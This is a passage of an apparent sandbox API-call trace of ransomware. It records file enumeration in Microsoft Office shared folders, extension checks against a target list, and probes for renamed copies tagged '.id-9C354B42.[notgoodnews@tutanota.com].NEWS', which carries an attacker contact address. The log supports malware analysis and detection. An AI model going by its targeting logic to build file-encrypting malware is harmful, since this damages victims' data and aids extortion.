returned -1 [0219.964] lstrlenW (lpString=".ppt") returned 4 [0219.964] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.964] lstrlenW (lpString=".zip") returned 4 [0219.964] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.965] lstrlenW (lpString=".rar") returned 4 [0219.965] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.965] lstrlenW (lpString=".bz2") returned 4 [0219.965] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.965] lstrlenW (lpString=".7z") returned 3 [0219.965] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.965] lstrlenW (lpString=".dbf") returned 4 [0219.965] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.965] lstrlenW (lpString=".1cd") returned 4 [0219.966] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned 91 [0219.966] lstrlenW (lpString=".jpg") returned 4 [0219.966] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.966] lstrcmpiW (lpString1=".MOF", lpString2=".NEWS") returned -1 [0219.966] lstrlenW (lpString="OSPPWMI.MOF") returned 11 [0219.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0219.967] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=47710) returned 1 [0219.967] CloseHandle (hObject=0x30c) returned 1 [0219.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0219.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.070] lstrlenW (lpString=".doc") returned 4 [0220.070] lstrcmpiW (lpString1=".doc", lpString2=".MOF") returned -1 [0220.070] lstrlenW (lpString=".docx") returned 5 [0220.070] lstrcmpiW (lpString1=".docx", lpString2="I.MOF") returned -1 [0220.070] lstrlenW (lpString=".pdf") returned 4 [0220.070] lstrcmpiW (lpString1=".pdf", lpString2=".MOF") returned 1 [0220.070] lstrlenW (lpString=".xls") returned 4 [0220.071] lstrcmpiW (lpString1=".xls", lpString2=".MOF") returned 1 [0220.071] lstrlenW (lpString=".xlsx") returned 5 [0220.071] lstrcmpiW (lpString1=".xlsx", lpString2="I.MOF") returned -1 [0220.071] lstrlenW (lpString=".ppt") returned 4 [0220.071] lstrcmpiW (lpString1=".ppt", lpString2=".MOF") returned 1 [0220.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.071] lstrlenW (lpString=".zip") returned 4 [0220.071] lstrcmpiW (lpString1=".zip", lpString2=".MOF") returned 1 [0220.071] lstrlenW (lpString=".rar") returned 4 [0220.071] lstrcmpiW (lpString1=".rar", lpString2=".MOF") returned 1 [0220.071] lstrlenW (lpString=".bz2") returned 4 [0220.071] lstrcmpiW (lpString1=".bz2", lpString2=".MOF") returned -1 [0220.072] lstrlenW (lpString=".7z") returned 3 [0220.072] lstrcmpiW (lpString1=".7z", lpString2="MOF") returned -1 [0220.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.072] lstrlenW (lpString=".dbf") returned 4 [0220.072] lstrcmpiW (lpString1=".dbf", lpString2=".MOF") returned -1 [0220.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.072] lstrlenW (lpString=".1cd") returned 4 [0220.072] lstrcmpiW (lpString1=".1cd", lpString2=".MOF") returned -1 [0220.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.072] lstrlenW (lpString=".jpg") returned 4 [0220.072] lstrcmpiW (lpString1=".jpg", lpString2=".MOF") returned -1 [0220.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.073] lstrlenW (lpString=".doc") returned 4 [0220.073] lstrcmpiW (lpString1=".doc", lpString2=".MOF") returned -1 [0220.073] lstrlenW (lpString=".docx") returned 5 [0220.073] lstrcmpiW (lpString1=".docx", lpString2="I.MOF") returned -1 [0220.073] lstrlenW (lpString=".pdf") returned 4 [0220.073] lstrcmpiW (lpString1=".pdf", lpString2=".MOF") returned 1 [0220.073] lstrlenW (lpString=".xls") returned 4 [0220.073] lstrcmpiW (lpString1=".xls", lpString2=".MOF") returned 1 [0220.073] lstrlenW (lpString=".xlsx") returned 5 [0220.073] lstrcmpiW (lpString1=".xlsx", lpString2="I.MOF") returned -1 [0220.073] lstrlenW (lpString=".ppt") returned 4 [0220.074] lstrcmpiW (lpString1=".ppt", lpString2=".MOF") returned 1 [0220.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.074] lstrlenW (lpString=".zip") returned 4 [0220.074] lstrcmpiW (lpString1=".zip", lpString2=".MOF") returned 1 [0220.074] lstrlenW (lpString=".rar") returned 4 [0220.074] lstrcmpiW (lpString1=".rar", lpString2=".MOF") returned 1 [0220.074] lstrlenW (lpString=".bz2") returned 4 [0220.074] lstrcmpiW (lpString1=".bz2", lpString2=".MOF") returned -1 [0220.074] lstrlenW (lpString=".7z") returned 3 [0220.074] lstrcmpiW (lpString1=".7z", lpString2="MOF") returned -1 [0220.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.074] lstrlenW (lpString=".dbf") returned 4 [0220.074] lstrcmpiW (lpString1=".dbf", lpString2=".MOF") returned -1 [0220.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.075] lstrlenW (lpString=".1cd") returned 4 [0220.075] lstrcmpiW (lpString1=".1cd", lpString2=".MOF") returned -1 [0220.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0220.075] lstrlenW (lpString=".jpg") returned 4 [0220.075] lstrcmpiW (lpString1=".jpg", lpString2=".MOF") returned -1 [0220.076] lstrcmpiW (lpString1=".LEX", lpString2=".NEWS") returned -1 [0220.076] lstrlenW (lpString="MSWDS_FR.LEX") returned 12 [0220.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0220.489] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=295663) returned 1 [0220.489] CloseHandle (hObject=0x30c) returned 1 [0220.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0220.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0220.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.490] lstrlenW (lpString=".doc") returned 4 [0220.490] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0220.490] lstrlenW (lpString=".docx") returned 5 [0220.490] lstrcmpiW (lpString1=".docx", lpString2="R.LEX") returned -1 [0220.490] lstrlenW (lpString=".pdf") returned 4 [0220.490] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0220.490] lstrlenW (lpString=".xls") returned 4 [0220.490] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0220.490] lstrlenW (lpString=".xlsx") returned 5 [0220.490] lstrcmpiW (lpString1=".xlsx", lpString2="R.LEX") returned -1 [0220.490] lstrlenW (lpString=".ppt") returned 4 [0220.490] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0220.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.491] lstrlenW (lpString=".zip") returned 4 [0220.491] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0220.491] lstrlenW (lpString=".rar") returned 4 [0220.491] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0220.491] lstrlenW (lpString=".bz2") returned 4 [0220.491] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0220.491] lstrlenW (lpString=".7z") returned 3 [0220.491] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0220.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.491] lstrlenW (lpString=".dbf") returned 4 [0220.491] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0220.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.491] lstrlenW (lpString=".1cd") returned 4 [0220.491] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0220.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.492] lstrlenW (lpString=".jpg") returned 4 [0220.492] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0220.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.492] lstrlenW (lpString=".doc") returned 4 [0220.492] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0220.492] lstrlenW (lpString=".docx") returned 5 [0220.492] lstrcmpiW (lpString1=".docx", lpString2="R.LEX") returned -1 [0220.492] lstrlenW (lpString=".pdf") returned 4 [0220.493] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0220.493] lstrlenW (lpString=".xls") returned 4 [0220.493] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0220.493] lstrlenW (lpString=".xlsx") returned 5 [0220.493] lstrcmpiW (lpString1=".xlsx", lpString2="R.LEX") returned -1 [0220.493] lstrlenW (lpString=".ppt") returned 4 [0220.493] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0220.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.493] lstrlenW (lpString=".zip") returned 4 [0220.493] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0220.493] lstrlenW (lpString=".rar") returned 4 [0220.494] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0220.494] lstrlenW (lpString=".bz2") returned 4 [0220.494] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0220.494] lstrlenW (lpString=".7z") returned 3 [0220.494] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0220.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.494] lstrlenW (lpString=".dbf") returned 4 [0220.494] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0220.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.494] lstrlenW (lpString=".1cd") returned 4 [0220.494] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0220.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX") returned 65 [0220.494] lstrlenW (lpString=".jpg") returned 4 [0220.495] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0220.495] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".NEWS") returned -1 [0220.495] lstrlenW (lpString="STINTL.DLL.IDX_DLL") returned 18 [0220.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0220.968] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=13696) returned 1 [0220.968] CloseHandle (hObject=0x30c) returned 1 [0220.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0220.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0220.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.969] lstrlenW (lpString=".doc") returned 4 [0220.969] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0220.969] lstrlenW (lpString=".docx") returned 5 [0220.970] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0220.970] lstrlenW (lpString=".pdf") returned 4 [0220.970] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0220.970] lstrlenW (lpString=".xls") returned 4 [0220.970] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0220.970] lstrlenW (lpString=".xlsx") returned 5 [0220.970] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0220.970] lstrlenW (lpString=".ppt") returned 4 [0220.970] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0220.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.970] lstrlenW (lpString=".zip") returned 4 [0220.971] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0220.971] lstrlenW (lpString=".rar") returned 4 [0220.971] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0220.971] lstrlenW (lpString=".bz2") returned 4 [0220.971] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0220.971] lstrlenW (lpString=".7z") returned 3 [0220.971] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.971] lstrlenW (lpString=".dbf") returned 4 [0220.971] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0220.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.971] lstrlenW (lpString=".1cd") returned 4 [0220.972] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0220.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.972] lstrlenW (lpString=".jpg") returned 4 [0220.972] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0220.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.972] lstrlenW (lpString=".doc") returned 4 [0220.972] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0220.972] lstrlenW (lpString=".docx") returned 5 [0220.972] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0220.972] lstrlenW (lpString=".pdf") returned 4 [0220.972] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0220.972] lstrlenW (lpString=".xls") returned 4 [0220.973] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0220.973] lstrlenW (lpString=".xlsx") returned 5 [0220.973] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0220.973] lstrlenW (lpString=".ppt") returned 4 [0220.973] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0220.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.973] lstrlenW (lpString=".zip") returned 4 [0220.973] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0220.973] lstrlenW (lpString=".rar") returned 4 [0220.973] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0220.973] lstrlenW (lpString=".bz2") returned 4 [0220.973] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0220.974] lstrlenW (lpString=".7z") returned 3 [0220.974] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.974] lstrlenW (lpString=".dbf") returned 4 [0220.974] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0220.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.974] lstrlenW (lpString=".1cd") returned 4 [0220.974] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0220.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0220.974] lstrlenW (lpString=".jpg") returned 4 [0220.975] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0220.975] lstrcmpiW (lpString1=".ELM", lpString2=".NEWS") returned -1 [0220.975] lstrlenW (lpString="BOLDSTRI.ELM") returned 12 [0220.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0220.979] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=60154) returned 1 [0220.979] CloseHandle (hObject=0x30c) returned 1 [0220.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0220.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0220.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.980] lstrlenW (lpString=".doc") returned 4 [0220.980] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0220.980] lstrlenW (lpString=".docx") returned 5 [0220.980] lstrcmpiW (lpString1=".docx", lpString2="I.ELM") returned -1 [0220.980] lstrlenW (lpString=".pdf") returned 4 [0220.980] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0220.980] lstrlenW (lpString=".xls") returned 4 [0220.980] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0220.980] lstrlenW (lpString=".xlsx") returned 5 [0220.981] lstrcmpiW (lpString1=".xlsx", lpString2="I.ELM") returned -1 [0220.981] lstrlenW (lpString=".ppt") returned 4 [0220.981] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0220.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.981] lstrlenW (lpString=".zip") returned 4 [0220.981] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0220.981] lstrlenW (lpString=".rar") returned 4 [0220.981] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0220.981] lstrlenW (lpString=".bz2") returned 4 [0220.981] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0220.981] lstrlenW (lpString=".7z") returned 3 [0220.981] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0220.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.981] lstrlenW (lpString=".dbf") returned 4 [0220.982] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0220.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.982] lstrlenW (lpString=".1cd") returned 4 [0220.982] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0220.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.982] lstrlenW (lpString=".jpg") returned 4 [0220.982] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0220.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.982] lstrlenW (lpString=".doc") returned 4 [0220.982] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0220.983] lstrlenW (lpString=".docx") returned 5 [0220.983] lstrcmpiW (lpString1=".docx", lpString2="I.ELM") returned -1 [0220.983] lstrlenW (lpString=".pdf") returned 4 [0220.983] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0220.983] lstrlenW (lpString=".xls") returned 4 [0220.983] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0220.983] lstrlenW (lpString=".xlsx") returned 5 [0220.983] lstrcmpiW (lpString1=".xlsx", lpString2="I.ELM") returned -1 [0220.983] lstrlenW (lpString=".ppt") returned 4 [0220.983] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0220.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.983] lstrlenW (lpString=".zip") returned 4 [0220.984] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0220.984] lstrlenW (lpString=".rar") returned 4 [0220.984] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0220.984] lstrlenW (lpString=".bz2") returned 4 [0220.984] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0220.985] lstrlenW (lpString=".7z") returned 3 [0220.985] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0220.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.985] lstrlenW (lpString=".dbf") returned 4 [0220.985] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0220.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.985] lstrlenW (lpString=".1cd") returned 4 [0220.985] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0220.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0220.985] lstrlenW (lpString=".jpg") returned 4 [0220.986] lstrcmpiW (lpString1=".jpg", 